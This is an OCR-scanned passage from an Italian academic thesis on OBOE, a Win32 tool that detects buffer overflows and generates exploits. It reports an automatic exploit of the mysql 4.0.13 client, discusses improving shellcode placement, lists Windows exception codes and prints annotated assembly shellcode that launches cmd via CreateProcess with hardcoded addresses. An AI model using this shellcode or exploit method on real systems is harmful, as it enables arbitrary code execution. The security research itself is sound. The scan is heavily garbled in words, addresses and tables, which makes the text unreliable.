deve essere messo esattamente sopra al return address, negli indirizzi riservati per i
parametri passati alla funzione. Se la funzione, prima di eseguire I'istruzione ret, tenta
di utilizzare un puntatore passato come parameteoildlischio che venga generata
un’eccezione.

4.3 Prove effettuate

Con la versione di OBOE realizzata sono stati testati 60 programmi visuali per I'input
proveniente dal registro e 40 programmi per i parametri passati a linea di comando.
Nei programmi visuali, utilizzando per la grandezza delle stringhe il valore di de-
fault (32K), non sie mai verificata un’eccezione. Come spiegato nel capitolo 2, tro-
vare un buffer overflow in questo tipo di input, con questa dimensi@meolto raro.
Per effettuare un’analisi piapprofondita su questi programmi bisognerebbe testarli
utilizzando delle stringhe con lunghezze variabili.
In otto dei quaranta programmi a linea di comando sono invece state rilevate diver-
se eccezioni. Solo in un caso OB@Estato in grado di creare I'exploit in automatico:
il programmee la versione client di mysql (4.0.13) e il buffer overflesgul parametro
-S. Gli altri sette programmi sono al momento in fase di analisi per determinare se le
eccezioni rilevate siano state causate da buffer overflow. In alcuni di essi OBOE ha
individuato che il processo ha tentato di scrivere oltre alle pagine dello stack; in questi
casi dovrebbero essere presenti dei buffer overflow stack—tmsedessario capire se
sia possibile eseguire del codice arbitrario oppure no.
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Conclusioni

A partire dall'analisi del problema dei buffer overfloavstata illustrata I'attiva svol-

ta per realizzare la versione di OBOE in ambiente Win32. |l lavore soncentra-

to maggiormente sull'automatizzazione della fase di testing, oltre a questo sono stati
implementati due diversi metodi per tentare di creare in automatico I'exploit. L'ana-
lisi sul comportamento dei programraistata realizzata senza imporre qualsiasi ti-
po di precondizione e la totaditdei comportamenti anomali dovrebbe essere rilevata
correttamente.

La versione di OBOE per I'ambiente Win32 &irilevata meno efficace rispetto a
guella per unix, in Windows, sono presenti un numero minore di programmi a linea
di comando e, come illustrato, per i programmi che utilizzano le chiavi di registro
l'individuazione automatica di buffer overflow risulta molto complicata. In Windows
sono inoltre presenti dei problemi aggiuntivi che derivano dal modello della gestione
della memoria.

5.1 Sviluppi futuri

Le prove effettuate evidenziano alcuni difetti di OBOE, in particolare si nhota che sol-
tanto in un caso 2 riuscito ad eseguire correttamente I'exploit. Quéstipvuto al
meccanismo utilizzato per la sua costruzione: uno dei principali prol#degato al
fatto che, corrompendo e utilizzando i puntatori sullo stack, I'istruzione ret non viene

42



Capitolo 5. Conclusioni 43

eseguita. Per risolvere questo problema nelle prossime versioni di OBOE potrebbero
essere studiate altre soluzioni.

Una soluzione potrebbe essere quella di spostare lo shellcode dallo stack. Si po-
trebbe, ad esempio, metterlo in una variabile di ambiente. Utilizzando questa strategia
si eviterebbe di sovrascrivere le strutture dati al di sotto e al di sopra del return address.
Si dovrebbero péraffrontare gli stessi problemi presenti per il salto diretto, le variabili
di ambiente sono infatti poste in memoria ad indirizzi del fX@0NNXXXX

Anche ipotizzando che si riesca a trovare un indirizzo utilizzabile, rimarrebbe il
problema di non corrompere eccessivamente la consistenza delle variabili locali della
funzione. In OBOE si riesce a localizzare la posizione del return address solo quan-
do viene eseguita la ret. Per riuscire con maggiore probalilfiar eseguire questa
istruzione bisogna modificare la strategia usata per la costruzione delle stringhe. Si
puo partire da una stringa che contiene solo i quattro B)ieEDEDEDEe succes-
sivamente spostare questi byte verso destra creando, nelle posizioni precedenti, degli
indirizzi virtuali validi. In questo modo i puntatori locali della funzione vengono sovra-
scritti con indirizzi validi e, anche se la funzione li utilizzasse, non verrebbe generata
un’eccezione.

Oltre a migliorare il metodo di esecuzione dello shellcode, si potrebbe migliora-
re il tipo di input che viene passato al target. In OBOE, per individuare la posizione
del return address, si utilizza I'indirizzaxDEDEDEDEI quattro byte utilizzati non
rappresentano caratteri alfanumerici. Come illustrato, questo indirizzo viene messo
nella stringa di input sia per i caratteri fissi che per quelli pseudocasuali. Se nel target
fossero presenti dei controlli per accettare solo caratteri alfanumerici, I'input sarebbe
intercettato come scorretto e la presenza di un eventuale buffer overflow non sarebbe
rilevata. Bisognerebbe quindi trovare un indirizzo composto da caratteri alfanumerici
che generi con certezza un’eccezione. Questi indirizzi fanno riferimento ad aree di
memoria nei 2GB di user—space e quindi per far generare un’eccezione bisogna ana-
lizzare il contenuto della memoria di ogni procesﬁ)infatti impossibile trovare un
indirizzo generico che possa essere utilizzato in tutti i casi ed in@l&neche difficile
trovarne uno per un programma specifico. Utilizzando un indirizzo che fa riferimento
ad una pagina non allocata non si ha la garanzia che questa pagina non venga allocata



Capitolo 5. Conclusioni 44

successivamente dal processo. Inoltre deve essere trovata una soluzione per lo shell-
code: deve essere messo in un indirizzo alfanumerico oppure deve essere formato da
caratteri alfanumerici se si vuole inserirlo nella stringa di input. La realizzazione di
shellcode alfanumeri@ molto complicata ed inoltre porta alla creazione di exploit di
grandi dimensioni.
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Eccezioni

Value

Meaning

EXCEPTION _ACCESS.VIOLATION

EXCEPTION _ARRAY -BOUNDS_EXCEEDED

EXCEPTION .BREAKPOINT

EXCEPTION _DATATYPE _MISALIGNMENT

EXCEPTION _FLT .DENORMAL _OPERAND

EXCEPTION _FLT _DIVIDE _BY_ZERO

EXCEPTION _FLT _INEXACT _RESULT

EXCEPTION _FLT _INVALID _OPERATION

The thread tried to read from or write to

a

virtual address for which it does not have the

appropriate access.

The thread tried to access an array element that
is out of bounds and the underlying hardware

supports bounds checking.
A breakpoint was encountered.

The thread tried to read or write data that
misaligned on hardware that does not prov
alignment. For example, 16-bit values must
aligned on 2-byte boundaries; 32-bit values
4-byte boundaries, and so on.

S

be
on

One of the operands in a floating-point ope-

ration is denormal. A denormal value is o
that is too small to represent as a stand
floating-point value.

The thread tried to divide a floating-point vall
by a floating-point divisor of zero.

he
ard

e

The result of a floating-point operation cannot

be represented exactly as a decimal fraction

This exception represents any floating-po
exception not included in this list.
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EXCEPTION _FLT _.OVERFLOW

EXCEPTION _FLT _STACK _CHECK

EXCEPTION _FLT _UNDERFLOW

EXCEPTION _ILLEGAL _INSTRUCTION

EXCEPTION _IN _PAGE_ERROR

EXCEPTION _INT _DIVIDE _BY _ZERO

EXCEPTION _INT _OVERFLOW

EXCEPTION _INVALID _DISPOSITION

EXCEPTION _-NONCONTINUABLE _EXCEPTION

EXCEPTION _PRIV_INSTRUCTION

EXCEPTION _SINGLE _STEP

EXCEPTION _.STACK_OVERFLOW

The exponent of a floating-point operation
greater than the magnitude allowed by f{
corresponding type.

The stack overflowed or underflowed as f{
result of a floating-point operation.

The exponent of a floating-point operation

S
he

he

is less than the magnitude allowed by the

corresponding type.

The thread tried to execute an invalid instrd
tion.

The thread tried to access a page that was
present, and the system was unable to load

C-

not
the

page. For example, this exception might occur

if a network connection is lost while running
program over the network.

The thread tried to divide an integer value by
integer divisor of zero.

a

an

The result of an integer operation caused a carry

out of the most significant bit of the result.

An exception handler returned an invalid disg

sition to the exception dispatcher. Programmers

using a high-level language such as C sho
never encounter this exception.

The thread tried to continue execution after

noncontinuable exception occurred.

The thread tried to execute an instruction wh
operation is not allowed in the current machi
mode.

A trace trap or other single-instruction mech
nism signaled that one instruction has be
executed.

The thread used up its stack.

uld

pse
ne

en
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Shellcode

; Inizialmente vengono preparate le due strutture dati che devono essere

passate alla CreateProcess. Queste strutture sono: STARTUPINFO (0x44 byte)

e PROCESS_INFORMATION (0x10 byte). Entrambe vengono posizionate sullo stack,
la PROCESS_INFORMATION sara posizionata all'indirizzo contenuto in ESP e la
STARTUPINFO all'indirizzo: ESP + 0x10. Nel salto indiretto ESP punta allo
shellcode e quindi necessario decrementarlo per non sovrascrivere, con le

due strutture dati, lo shellcode stesso.

sub esp, 54h ; Ox54 = 0x10 + 0x44 (Utilizzata solo per il salto indiretto)

Le due strutture devono essere inizializzate, vengono riempite di zeri con
llistruzione rep stosd, questultima copia il contenuto di EAX (ripetuto
per 4 volte) a partire dall'indirizzo presente in EDI per ECX volte.

mov edi, esp ; Si assegna ad EDI [lindirizzo di partenza delle due strutture
Xor eax, eax ; si mette in EAX il valore O, le strutture saranno cos I azzerate

; In ECX bisogna inserire il valore Ox15, in questo modo vengono azzerati Ox54

; byte (0x15 * 4 = 0x54). Per inserire questo valore non e possibile usare
; direttamente [l'istruzione "mov ecx, 15h" perch e crea un null-byte nello

; shellcode. Per inserire tale valore si utlizzano le seguenti istruzioni:

XOr ecx, ecx ; Si azzera il registro ECX
mov cl, 15h ; Si mette nella parte bassa di ECX il valore 0x15
rep stosd ; si azzerano entrambe le strutture dati

Dopo aver riempito di zeri entrambe le strutture bisogna fare un’ulteriore
operazione sulla STARTUPINFO, in un campo bisogna impostare la sua grandezza.
In C questa operazione viene fatta con listruzione: si.cb = sizeof(si);

il campo cb e presente nella prima locazione della struttura.

mov byte ptr [esp + 10h], 44h ; si setta la sua grandezza (0x44)
lea ecx, [esp + 10h] ; Si carica in ECX lindirizzo della struttura

; A questo punto si pu 0 chiamare la CreateProcess, questa API utilizza lo

; standard stdcall, i parametri devono quindi essere messi sullo stack in
; ordine inverso.
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; Per chiamare la CreateProcess in C listruzione utilizzata e simile alla
; seguente:

; CreateProcess (NULL, "cmd", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL,
; NULL, &startupinfo, &procinfo);

; in assembler tale istruzione si traduce in questo modo:

push esp LPPROCESS_INFORMATION IpProcessInformation
push ecx ; LPSTARTUPINFO IpStartupinfo

push eax LPCTSTR IpCurrentDirectory

push eax LPVOID IpEnvironment

push CREATE_NEW_CONSOLE ; DWORD dwCreationFlags

push eax ; BOOL blnheritHandles
push eax ; LPSECURITY_ATTRIBUTES IpThreadAttributes
push eax ; LPSECURITY_ATTRIBUTES IpProcessAttributes

; Per mettere sullo stack l'indirizzo della stringa da passare come
; parametro si utilizza listruzione call

jmp avanti ; Si salta in avanti per raggiungere la call
indietro:

; prima di poter utilizzare la stringa bisogna terminarala

pop ecx ; si prende lindirizzo della stringa dallo stack
mov byte ptrlecx+3], al ; Si termina la stringa con uno zero

push ecx ; LPTSTR IpCommandLine

push eax ; LPCTSTR IpApplicationName

mov ebx, 77E41BBCh ; si mette in EBX lindirizzo della CreateProcess
call ebx ; si chiama la API

; Dopo aver creato il nuovo processo bisogna eseguire la ExitProcess per
; terminare senza errori. A questa API viene passato il valore 0.

push eax ; UINT uExitCode
mov ebx, 77E598FDh ; si mette in EBX lindirizzo della ExitProcess
call ebx ; si chiama la API

avanti:

; La call salva nello stack l'indirizzo del registro EIP, in questo caso EIP
; contiene l'indirizzo della stringa che deve essere passata come parametro

call indietro ; oltre a salvare il valore di EIP salta all'etichetta indietro
db "cmd",1 ; la stringa non e terminata (,0) per non avere un null-byte

; La call non pu 0 essere fatta in avanti in questo modo:
; call avanti
; db "cmd",1

; avanti:

; perch & causerebbe la presenza di un null-byte nello shellcode, facendola
; indietro l'indirizzo relativo viene complementato e non contiene degli zeri
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